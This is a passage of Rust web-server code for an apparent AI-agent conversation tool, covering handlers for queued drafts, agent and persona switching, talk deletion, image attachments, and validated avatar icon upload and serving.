8959                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8960                turn.take()
8961                    .expect("held for the whole loop until released here")
8962                    .release(&mut live);
8963                break;
8964            }
8965        };
8966        talk = next_talk;
8967        let drained = match result {
8968            Ok(Some(drained)) => drained,
8969            Ok(None) => {
8970                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8971                if live.queued.get(&id).copied().unwrap_or(0) != observed {
8972                    continue;
8973                }
8974                turn.take()
8975                    .expect("held for the whole loop until released here")
8976                    .release(&mut live);
8977                break;
8978            }
8979            Err(e) => {
8980                tracing::warn!("talk {id} could not drain queued text: {e:#}");
8981                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8982                turn.take()
8983                    .expect("held for the whole loop until released here")
8984                    .release(&mut live);
8985                break;
8986            }
8987        };
8988        if let Some(started) = started.take() {
8989            let _ = started.send(true);
8990        }
8991        let responded = match turn.as_ref() {
8992            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
8993            None => Err(anyhow::anyhow!("the turn guard was released")),
8994        };
8995        if let Err(e) = responded {
8996            tracing::warn!("talk {id} turn failed: {e:#}");
8997        }
8998    }
8999    drop(turn);
9000    if let Some(started) = started {
9001        let _ = started.send(false);
9002    }
9003}
9004
9005/// Clear a queued draft only if it remains exactly the one the caller saw.
9006async fn talk_pending_clear(
9007    State(ui): State<Arc<Ui>>,
9008    Path(id): Path<String>,
9009    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9010) -> ApiResult<Json<TalkView>> {
9011    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9012    blocking(move || {
9013        let id = resolve_talk(&ui.talks, &id)?;
9014        let mut talk = ui.talks.get(&id)?;
9015        if !talk.status.open() {
9016            return Err(ApiError::conflict(format!(
9017                "talk {} is {} and takes no more turns",
9018                talk.short(),
9019                talk.status.as_str()
9020            )));
9021        }
9022        if !talk::clear_pending_if_matches(
9023            &mut talk,
9024            &ui.talks,
9025            &body.expected_text,
9026            &body.expected_attachments,
9027        )? {
9028            return Err(ApiError::conflict(
9029                "queued message changed; reload it before clearing",
9030            ));
9031        }
9032        let thinking = ui.is_thinking(&talk.id);
9033        Ok(Json(TalkView::new(talk, thinking, &ui)))
9034    })
9035    .await
9036}
9037
9038/// Atomically edit a queued draft's text while preserving its attachments.
9039/// The snapshot fields make a concurrent queue or drain a conflict rather
9040/// than silently discarding either message.
9041async fn talk_pending_edit(
9042    State(ui): State<Arc<Ui>>,
9043    Path(id): Path<String>,
9044    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9045) -> ApiResult<Json<TalkView>> {
9046    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9047    let (view, reclaimed) = blocking({
9048        let ui = Arc::clone(&ui);
9049        move || {
9050            let id = resolve_talk(&ui.talks, &id)?;
9051            let mut talk = ui.talks.get(&id)?;
9052            if !talk.status.open() {
9053                return Err(ApiError::conflict(format!(
9054                    "talk {} is {} and takes no more turns",
9055                    talk.short(),
9056                    talk.status.as_str()
9057                )));
9058            }
9059            if !talk::edit_pending_message(
9060                &mut talk,
9061                &ui.talks,
9062                &body.text,
9063                &body.expected_text,
9064                &body.expected_attachments,
9065                body.message,
9066            )? {
9067                return Err(ApiError::conflict(
9068                    "queued message changed; reload it before editing",
9069                ));
9070            }
9071            let claim = match ui.begin_queued_talk_turn(&id)? {
9072                Some(turn_guard) => {
9073                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9074                    Some((talk.clone(), cfg, id.clone(), turn_guard))
9075                }
9076                None => None,
9077            };
9078            let thinking = ui.is_thinking(&id);
9079            Ok((TalkView::new(talk, thinking, &ui), claim))
9080        }
9081    })
9082    .await?;
9083    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9084        let talks = ui.talks.clone();
9085        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9086    }
9087    Ok(Json(view))
9088}
9089
9090/// The 409 for a talk that takes no more turns.
9091fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9092    if talk.status.open() {
9093        return Ok(());
9094    }
9095    Err(ApiError::conflict(format!(
9096        "talk {} is {} and takes no more turns",
9097        talk.short(),
9098        talk.status.as_str()
9099    )))
9100}
9101
9102/// The body of `POST /api/talks/{id}/agent`.
9103#[derive(Debug, Deserialize)]
9104struct TalkAgent {
9105    agent: String,
9106}
9107
9108/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
9109/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
9110/// start a turn on the old session between the check and the write; one that
9111/// arrives in that window finds the talk busy and becomes a draft.
9112async fn talk_agent(
9113    State(ui): State<Arc<Ui>>,
9114    Path(id): Path<String>,
9115    Json(body): Json<TalkAgent>,
9116) -> ApiResult<Json<TalkView>> {
9117    let id = {
9118        let ui = Arc::clone(&ui);
9119        blocking(move || resolve_talk(&ui.talks, &id)).await?
9120    };
9121    let repo = {
9122        let ui = Arc::clone(&ui);
9123        let id = id.clone();
9124        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9125    };
9126    let cfg = config_for(&repo).await?;
9127    // Refuse before taking the claim; see `talk_implementers`.
9128    {
9129        let ui = Arc::clone(&ui);
9130        let id = id.clone();
9131        let cfg = cfg.clone();
9132        let wanted = body.agent.clone();
9133        blocking(move || {
9134            agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9135                .map_err(ApiError::bad_request_from)?;
9136            refuse_if_closed(&ui.talks.get(&id)?)
9137        })
9138        .await?;
9139    }
9140    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9141        return Err(ApiError::conflict(
9142            "a talk turn is running; change the agent once it has answered",
9143        ));
9144    };
9145    let switched = {
9146        let ui = Arc::clone(&ui);
9147        let id = id.clone();
9148        let cfg = cfg.clone();
9149        blocking(move || {
9150            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9151                .map_err(ApiError::bad_request_from)?;
9152            let mut talk = ui.talks.get(&id)?;
9153            if !talk.status.open() {
9154                return Err(ApiError::conflict(format!(
9155                    "talk {} is {} and takes no more turns",
9156                    talk.short(),
9157                    talk.status.as_str()
9158                )));
9159            }
9160            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9161            Ok(talk)
9162        })
9163        .await
9164    };
9165    // A `/say` that landed while this held the claim saw the talk busy and
9166    // left a durable draft, trusting the claim's owner to drain it. So the
9167    // claim is settled whatever the outcome. Release an empty draft's claim
9168    // before replying; queued drafts continue independently of the handler.
9169    let observed = ui.queued_generation(&id);
9170    let fresh = {
9171        let ui = Arc::clone(&ui);
9172        let id = id.clone();
9173        blocking(move || Ok(ui.talks.get(&id)?)).await
9174    };
9175    let draining = match fresh {
9176        Ok(talk) => {
9177            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9178        }
9179        Err(_) => false,
9180    };
9181    let talk = switched?;
9182    Ok(Json(TalkView::new(talk, draining, &ui)))
9183}
9184
9185/// The body of `POST /api/talks/{id}/persona`.
9186#[derive(Debug, Deserialize)]
9187struct TalkPersona {
9188    persona: String,
9189}
9190
9191/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
9192/// like [`talk_agent`]: the turn guard is held for the change and always handed
9193/// to `drain_loop`, so a draft left meanwhile is not stranded.
9194async fn talk_persona(
9195    State(ui): State<Arc<Ui>>,
9196    Path(id): Path<String>,
9197    Json(body): Json<TalkPersona>,
9198) -> ApiResult<Json<TalkView>> {
9199    let id = {
9200        let ui = Arc::clone(&ui);
9201        blocking(move || resolve_talk(&ui.talks, &id)).await?
9202    };
9203    let repo = {
9204        let ui = Arc::clone(&ui);
9205        let id = id.clone();
9206        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9207    };
9208    let cfg = config_for(&repo).await?;
9209    // Refuse before taking the claim; see `talk_implementers`.
9210    {
9211        let ui = Arc::clone(&ui);
9212        let id = id.clone();
9213        let cfg = cfg.clone();
9214        let wanted = body.persona.clone();
9215        blocking(move || {
9216            if persona::find(&cfg.talk.personas, &wanted).is_none() {
9217                return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9218            }
9219            refuse_if_closed(&ui.talks.get(&id)?)
9220        })
9221        .await?;
9222    }
9223    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9224        return Err(ApiError::conflict(
9225            "a talk turn is running; change the persona once it has answered",
9226        ));
9227    };
9228    let switched = {
9229        let ui = Arc::clone(&ui);
9230        let id = id.clone();
9231        let cfg = cfg.clone();
9232        blocking(move || {
9233            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9234                return Err(ApiError::bad_request(format!(
9235                    "unknown persona `{}`",
9236                    body.persona
9237                )));
9238            };
9239            let mut talk = ui.talks.get(&id)?;
9240            if !talk.status.open() {
9241                return Err(ApiError::conflict(format!(
9242                    "talk {} is {} and takes no more turns",
9243                    talk.short(),
9244                    talk.status.as_str()
9245                )));
9246            }
9247            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9248            Ok(talk)
9249        })
9250        .await
9251    };
9252    // As in `talk_agent`: settle the claim before replying, even on refusal.
9253    let observed = ui.queued_generation(&id);
9254    let fresh = {
9255        let ui = Arc::clone(&ui);
9256        let id = id.clone();
9257        blocking(move || Ok(ui.talks.get(&id)?)).await
9258    };
9259    let draining = match fresh {
9260        Ok(talk) => {
9261            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9262        }
9263        Err(_) => false,
9264    };
9265    let talk = switched?;
9266    Ok(Json(TalkView::new(talk, draining, &ui)))
9267}
9268
9269/// The body of `POST /api/talks/{id}/implementers`.
9270#[derive(Debug, Deserialize)]
9271struct TalkImplementers {
9272    implementers: u8,
9273}
9274
9275/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
9276/// like [`talk_agent`]: the turn guard is held for the change and always handed
9277/// to `drain_loop`, so a draft left meanwhile is not stranded.
9278async fn talk_implementers(
9279    State(ui): State<Arc<Ui>>,
9280    Path(id): Path<String>,
9281    Json(body): Json<TalkImplementers>,
9282) -> ApiResult<Json<TalkView>> {
9283    let id = {
9284        let ui = Arc::clone(&ui);
9285        blocking(move || resolve_talk(&ui.talks, &id)).await?
9286    };
9287    let repo = {
9288        let ui = Arc::clone(&ui);
9289        let id = id.clone();
9290        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9291    };
9292    let cfg = config_for(&repo).await?;
9293    // Refuse a request that cannot succeed before taking the claim: a claim
9294    // taken for it is handed to `drain_loop`, which holds the talk busy for a
9295    // moment, so a refusal would make the next request see "busy" instead of
9296    // its own answer. The checks after the claim stay the ones that decide.
9297    {
9298        let ui = Arc::clone(&ui);
9299        let id = id.clone();
9300        let cfg = cfg.clone();
9301        let wanted = body.implementers;
9302        blocking(move || {
9303            talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9304            refuse_if_closed(&ui.talks.get(&id)?)
9305        })
9306        .await?;
9307    }
9308    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9309        return Err(ApiError::conflict(
9310            "a talk turn is running; change the implementers once it has answered",
9311        ));
9312    };
9313    let switched = {
9314        let ui = Arc::clone(&ui);
9315        let id = id.clone();
9316        let cfg = cfg.clone();
9317        blocking(move || {
9318            let chosen =
9319                talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
9320            let mut talk = ui.talks.get(&id)?;
9321            if !talk.status.open() {
9322                return Err(ApiError::conflict(format!(
9323                    "talk {} is {} and takes no more turns",
9324                    talk.short(),
9325                    talk.status.as_str()
9326                )));
9327            }
9328            talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9329            Ok(talk)
9330        })
9331        .await
9332    };
9333    // As in `talk_agent`: settle the claim before replying, even on refusal.
9334    let observed = ui.queued_generation(&id);
9335    let fresh = {
9336        let ui = Arc::clone(&ui);
9337        let id = id.clone();
9338        blocking(move || Ok(ui.talks.get(&id)?)).await
9339    };
9340    let draining = match fresh {
9341        Ok(talk) => {
9342            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9343        }
9344        Err(_) => false,
9345    };
9346    let talk = switched?;
9347    Ok(Json(TalkView::new(talk, draining, &ui)))
9348}
9349
9350/// `POST /api/talks/{id}/close`.
9351async fn talk_close(
9352    State(ui): State<Arc<Ui>>,
9353    Path(id): Path<String>,
9354) -> ApiResult<Json<TalkView>> {
9355    blocking(move || {
9356        let id = resolve_talk(&ui.talks, &id)?;
9357        let mut talk = ui.talks.get(&id)?;
9358        talk::close(&mut talk, &ui.talks)?;
9359        let thinking = ui.is_thinking(&talk.id);
9360        Ok(Json(TalkView::new(talk, thinking, &ui)))
9361    })
9362    .await
9363}
9364
9365/// `POST /api/talks/{id}/reopen`.
9366async fn talk_reopen(
9367    State(ui): State<Arc<Ui>>,
9368    Path(id): Path<String>,
9369) -> ApiResult<Json<TalkView>> {
9370    blocking(move || {
9371        let id = resolve_talk(&ui.talks, &id)?;
9372        let mut talk = ui.talks.get(&id)?;
9373        talk::reopen(&mut talk, &ui.talks)?;
9374        let thinking = ui.is_thinking(&talk.id);
9375        Ok(Json(TalkView::new(talk, thinking, &ui)))
9376    })
9377    .await
9378}
9379
9380/// `DELETE /api/talks/{id}`.
9381///
9382/// Removes the conversation's record and artifacts outright, unlike
9383/// [`talk_close`] which keeps the record as history. A turn already in
9384/// flight is not refused here the way [`run_delete`] refuses a live run:
9385/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
9386/// under [`Talks::guard`], that the record they are about to write back is
9387/// still there, so a delete racing a turn is safe without this route having
9388/// to know a turn is running at all.
9389async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9390    blocking(move || {
9391        let id = resolve_talk(&ui.talks, &id)?;
9392        ui.talks.remove(&id)?;
9393        Ok(StatusCode::NO_CONTENT)
9394    })
9395    .await
9396}
9397
9398fn talk_ids(root: &FsPath) -> Vec<String> {
9399    std::fs::read_dir(root)
9400        .into_iter()
9401        .flatten()
9402        .flatten()
9403        .filter_map(|e| {
9404            let path = e.path();
9405            if path.extension().is_some_and(|ext| ext == "json") {
9406                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9407            } else {
9408                None
9409            }
9410        })
9411        .collect()
9412}
9413
9414/// Expand an id or short id to exactly one talk id.
9415fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9416    if plain_record_id(id) && store.path_of(id).is_file() {
9417        return Ok(id.to_owned());
9418    }
9419    pick(talk_ids(store.root()), id, "talk")
9420}
9421
9422/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
9423/// future `talk-say`.
9424async fn talk_attachment_post(
9425    State(ui): State<Arc<Ui>>,
9426    Path(id): Path<String>,
9427    headers: HeaderMap,
9428    body: Bytes,
9429) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
9430    let mime = validate_attachment(&headers, &body)?;
9431    let name = filename_header(&headers);
9432    let data = body.to_vec();
9433    blocking(move || {
9434        let id = resolve_talk(&ui.talks, &id)?;
9435        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
9436        Ok((StatusCode::CREATED, Json(att)))
9437    })
9438    .await
9439}
9440
9441/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
9442/// `<img>` tag in the transcript.
9443async fn talk_attachment_get(
9444    State(ui): State<Arc<Ui>>,
9445    Path((id, att)): Path<(String, String)>,
9446) -> ApiResult<Response> {
9447    blocking(move || {
9448        let id = resolve_talk(&ui.talks, &id)?;
9449        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
9450            return Err(ApiError::not_found(format!(
9451                "talk {id} has no attachment `{att}`"
9452            )));
9453        };
9454        Ok(attachment_response(&meta.mime, data))
9455    })
9456    .await
9457}
9458
9459/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
9460/// the icon setting, so changing it changes the URL.
9461fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
9462    let id = avatar_encode(&p.id);
9463    format!(
9464        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
9465        persona_icon::fingerprint(
9466            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
9467        )
9468    )
9469}
9470
9471#[derive(Debug, Default, Deserialize)]
9472struct AvatarQuery {
9473    persona: Option<String>,
9474    /// Set by the page after the first load failed: skip the `icon`.
9475    builtin: Option<String>,
9476}
9477
9478/// Served with every built-in avatar: it is an image, so nothing else may run.
9479const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
9480
9481fn builtin_avatar(id: &str) -> Response {
9482    svg_avatar(persona_icon::builtin_svg(id))
9483}
9484
9485async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9486    raster_or_builtin(
9487        read_icon_file(&avatar_setting_path(&ui.home, None))
9488            .filter(|_| q.builtin.is_none())
9489            .as_deref(),
9490        persona_icon::operator_svg(),
9491    )
9492}
9493
9494fn svg_avatar(svg: &'static str) -> Response {
9495    (
9496        [
9497            (header::CONTENT_TYPE, "image/svg+xml"),
9498            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9499            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
9500            (header::CACHE_CONTROL, "no-cache"),
9501        ],
9502        svg,
9503    )
9504        .into_response()
9505}
9506
9507fn avatar_encode(value: &str) -> String {
9508    value
9509        .bytes()
9510        .map(|b| {
9511            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
9512                char::from(b).to_string()
9513            } else {
9514                format!("%{b:02X}")
9515            }
9516        })
9517        .collect()
9518}
9519
9520// Display-only overrides live outside configuration and conversation records.
9521fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
9522    let Some(id) = persona else {
9523        return home.join("avatars/operator.data");
9524    };
9525    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
9526    let mut path = home.join("avatars/personas");
9527    for chunk in encoded.as_bytes().chunks(100) {
9528        path.push(std::str::from_utf8(chunk).expect("hex"));
9529    }
9530    path.join("icon.data")
9531}
9532
9533fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
9534    match read_icon_file(&avatar_setting_path(home, Some(id))) {
9535        Some(value) if value == "builtin" => Some(String::new()),
9536        Some(value) => Some(value),
9537        None => configured.map(str::to_owned),
9538    }
9539}
9540
9541fn operator_icon_url(home: &FsPath) -> String {
9542    format!(
9543        "/avatars/operator.svg?v={}",
9544        persona_icon::fingerprint(
9545            read_icon_file(&avatar_setting_path(home, None))
9546                .as_deref()
9547                .or(Some(persona_icon::operator_svg()))
9548        )
9549    )
9550}
9551
9552fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
9553    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
9554        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9555            attachment_response(mime, bytes)
9556        }
9557        _ => svg_avatar(builtin),
9558    };
9559    response
9560        .headers_mut()
9561        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9562    response
9563}
9564
9565#[derive(Default, Deserialize)]
9566struct AvatarSettingsQuery {
9567    repo: Option<PathBuf>,
9568    persona: Option<String>,
9569    builtin: Option<String>,
9570    inherit: Option<String>,
9571}
9572
9573fn avatar_settings_specs(
9574    ui: &Ui,
9575    repo: Option<PathBuf>,
9576) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
9577    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
9578    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
9579        .map(|cfg| cfg.talk.personas)
9580        .unwrap_or_default();
9581    Ok((repo, specs))
9582}
9583
9584fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
9585    let Ok(entries) = std::fs::read_dir(path) else {
9586        return;
9587    };
9588    for entry in entries.flatten() {
9589        let name = entry.file_name().to_string_lossy().into_owned();
9590        if name == "icon.data" {
9591            let bytes: Option<Vec<u8>> = prefix
9592                .as_bytes()
9593                .chunks(2)
9594                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
9595                .collect();
9596            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
9597                out.push(id);
9598            }
9599        } else if name.len() <= 100
9600            && !name.is_empty()
9601            && name.bytes().all(|b| b.is_ascii_hexdigit())
9602            && entry.file_type().is_ok_and(|t| t.is_dir())
9603        {
9604            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
9605        }
9606    }
9607}
9608
9609async fn avatar_settings_get(
9610    State(ui): State<Arc<Ui>>,
9611    Query(q): Query<AvatarSettingsQuery>,
9612) -> ApiResult<Json<serde_json::Value>> {
9613    blocking(move || {
9614        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
9615        let mut catalog = persona::catalog(&specs);
9616        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
9617        let mut saved = Vec::new();
9618        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
9619        for id in saved {
9620            if !catalog.iter().any(|p| p.id == id) {
9621                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
9622            }
9623        }
9624        let personas: Vec<_> = catalog.iter().map(|p| {
9625            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
9626            let override_state = match saved.as_deref() {
9627                Some("builtin") => "builtin",
9628                Some(_) => "custom",
9629                None => "inherit",
9630            };
9631            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
9632            serde_json::json!({"id":p.id,"name":p.name,
9633                "override_state":override_state,"has_config_icon":p.icon.is_some(),
9634                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
9635                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
9636        }).collect();
9637        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
9638    }).await
9639}
9640
9641async fn settings_persona_avatar(
9642    State(ui): State<Arc<Ui>>,
9643    Query(q): Query<AvatarSettingsQuery>,
9644) -> ApiResult<Response> {
9645    blocking(move || {
9646        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
9647        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
9648        let found = persona::find(&specs, id);
9649        let icon =
9650            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
9651        Ok(raster_or_builtin(
9652            icon.as_deref().filter(|_| q.builtin.is_none()),
9653            persona_icon::builtin_svg(id),
9654        ))
9655    })
9656    .await
9657}
9658
9659fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
9660    if q.persona
9661        .as_ref()
9662        .is_some_and(|p| p.is_empty() || p.len() > 4096)
9663    {
9664        return Err(ApiError::bad_request("invalid persona id"));
9665    }
9666    Ok(())
9667}
9668
9669async fn avatar_settings_put(
9670    State(ui): State<Arc<Ui>>,
9671    Query(q): Query<AvatarSettingsQuery>,
9672    Json(upload): Json<MagiIconUpload>,
9673) -> ApiResult<Json<serde_json::Value>> {
9674    blocking(move || {
9675        validate_avatar_target(&q)?;
9676        save_icon_file(
9677            &avatar_setting_path(&ui.home, q.persona.as_deref()),
9678            &upload.icon,
9679        )
9680        .map_err(ApiError::bad_request_from)?;
9681        Ok(Json(serde_json::json!({"saved":true})))
9682    })
9683    .await
9684}
9685
9686async fn avatar_settings_delete(
9687    State(ui): State<Arc<Ui>>,
9688    Query(q): Query<AvatarSettingsQuery>,
9689) -> ApiResult<Json<serde_json::Value>> {
9690    blocking(move || {
9691        validate_avatar_target(&q)?;
9692        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
9693        if q.persona.is_some() && q.inherit.is_none() {
9694            atomic_icon_write(&path, "builtin")?;
9695        } else {
9696            match std::fs::remove_file(path) {
9697                Ok(()) => (),
9698                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9699                Err(e) => return Err(anyhow::Error::from(e).into()),
9700            }
9701        }
9702        Ok(Json(serde_json::json!({"saved":true})))
9703    })
9704    .await
9705}
9706
9707// The global MAGI icon is deliberately independent of repository configuration.
9708fn magi_icon_path(home: &FsPath) -> PathBuf {
9709    home.join("magi-icon.data")
9710}
9711
9712fn read_magi_icon(home: &FsPath) -> Option<String> {
9713    read_icon_file(&magi_icon_path(home))
9714}
9715
9716fn read_icon_file(path: &FsPath) -> Option<String> {
9717    let metadata = std::fs::metadata(path).ok()?;
9718    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
9719        return None;
9720    }
9721    let file = std::fs::File::open(path).ok()?;
9722    use std::io::Read;
9723    let mut text = String::new();
9724    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
9725        .read_to_string(&mut text)
9726        .ok()?;
9727    if text.len() > persona_icon::ICON_MAX_BYTES {
9728        return None;
9729    }
9730    if text == "builtin" {
9731        return Some(text);
9732    }
9733    validate_uploaded_icon(&text).ok()?;
9734    Some(text)
9735}
9736
9737fn magi_icon_url(home: &FsPath) -> String {
9738    format!(
9739        "/avatars/magi?v={}",
9740        persona_icon::fingerprint(read_magi_icon(home).as_deref())
9741    )
9742}
9743
9744async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
9745    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
9746}
9747
9748#[derive(Deserialize)]
9749struct MagiIconUpload {
9750    icon: String,
9751}
9752
9753fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
9754    save_icon_file(&magi_icon_path(home), icon)
9755}
9756
9757fn validate_uploaded_icon(icon: &str) -> Result<()> {
9758    if !icon.starts_with("data:") {
9759        anyhow::bail!("upload a raster image");
9760    }
9761    let (mime, bytes) = persona_icon::load(icon)?;
9762    if sniffed_mime(&bytes) != Some(mime) {
9763        anyhow::bail!("image content does not match its type");
9764    }
9765    Ok(())
9766}
9767
9768fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
9769    validate_uploaded_icon(icon)?;
9770    atomic_icon_write(path, icon)
9771}
9772
9773fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
9774    let home = path.parent().expect("icon parent");
9775    std::fs::create_dir_all(home)?;
9776    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
9777    let temp = home.join(format!(".magi-icon-{token}.tmp"));
9778    let result = (|| -> Result<()> {
9779        use std::io::Write;
9780        let mut file = std::fs::OpenOptions::new()
9781            .write(true)
9782            .create_new(true)
9783            .open(&temp)?;
9784        file.write_all(icon.as_bytes())?;
9785        file.sync_all()?;
9786        std::fs::rename(&temp, path)?;
9787        Ok(())
9788    })();
9789    let _ = std::fs::remove_file(temp);
9790    result?;
9791    Ok(())
9792}
9793
9794async fn magi_icon_put(
9795    State(ui): State<Arc<Ui>>,
9796    Json(upload): Json<MagiIconUpload>,
9797) -> ApiResult<Json<serde_json::Value>> {
9798    blocking(move || {
9799        if !upload.icon.starts_with("data:") {
9800            return Err(ApiError::bad_request("upload a raster image"));
9801        }
9802        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
9803        if sniffed_mime(&bytes) != Some(mime) {
9804            return Err(ApiError::bad_request(
9805                "image content does not match its type",
9806            ));
9807        }
9808        save_magi_icon(&ui.home, &upload.icon)?;
9809        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9810    })
9811    .await
9812}
9813
9814async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
9815    blocking(move || {
9816        match std::fs::remove_file(magi_icon_path(&ui.home)) {
9817            Ok(()) => (),
9818            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9819            Err(e) => return Err(anyhow::Error::from(e).into()),
9820        }
9821        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9822    })
9823    .await
9824}
9825
9826async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9827    let icon = (q.builtin.is_none())
9828        .then(|| read_magi_icon(&ui.home))
9829        .flatten();
9830    let mut response = match icon
9831        .as_deref()
9832        .and_then(|icon| persona_icon::load(icon).ok())
9833    {
9834        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9835            attachment_response(mime, bytes)
9836        }
9837        _ => svg_avatar(persona_icon::magi_svg()),
9838    };
9839    response
9840        .headers_mut()
9841        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9842    response
9843}
9844
9845/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
9846/// operator's raster `icon` when it resolves and its bytes agree with its
9847/// type, the built-in SVG otherwise. Display only; every failure is a warning
9848/// and the built-in avatar, never an error response.
9849async fn talk_avatar(
9850    State(ui): State<Arc<Ui>>,
9851    Path(id): Path<String>,
9852    Query(q): Query<AvatarQuery>,
9853) -> ApiResult<Response> {
9854    blocking(move || {
9855        let id = resolve_talk(&ui.talks, &id)?;
9856        let talk = ui.talks.get(&id)?;
9857        let wanted = q
9858            .persona
9859            .as_deref()
9860            .map(str::trim)
9861            .filter(|p| !p.is_empty())
9862            .unwrap_or(&talk.persona)
9863            .to_owned();
9864        let specs = match Config::discover(&talk.repo, None) {
9865            Ok((cfg, _)) => cfg.talk.personas,
9866            Err(e) => {
9867                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
9868                Vec::new()
9869            }
9870        };
9871        let found = persona::find(&specs, &wanted);
9872        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
